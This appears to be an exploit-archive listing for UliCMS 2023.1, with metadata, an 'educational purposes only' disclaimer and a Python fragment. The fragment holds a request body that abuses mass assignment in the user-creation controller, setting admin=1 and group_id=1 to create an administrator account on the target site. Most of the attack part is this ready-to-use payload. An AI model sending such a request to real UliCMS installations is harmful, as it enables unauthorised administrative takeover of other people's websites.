Ulicms 2023.1 create admin user via mass assignment Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2023-05-25 |
Type : webapps |
Platform : php
This exploit / vulnerability Ulicms 2023.1 create admin user via mass assignment is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
#Exploit Title: Ulicms 2023.1 - create admin user via mass assignment
#Application: Ulicms
#Version: 2023.1-sniffing-vicuna
#Bugs: create admin user via mass assignment
#Technology: PHP
#Vendor URL: https://en.ulicms.de/
#Software Link: https://www.ulicms.de/content/files/Releases/2023.1/ulicms-2023.1-sniffing-vicuna-full.zip
#Date of found: 04-05-2023
#Author: Mirabbas Ağalarov
#Tested on: Linux
##This code is written in python and helps to create an admin account on ulicms-2023.1-sniffing-vicuna
data = f"sClass=UserController&sMethod=create&add_admin=add_admin&username={new_name}&firstname={new_name}&lastname={new_name}&email={new_email}&password={new_pass}&password_repeat={new_pass}&group_id=1&admin=1&default_language="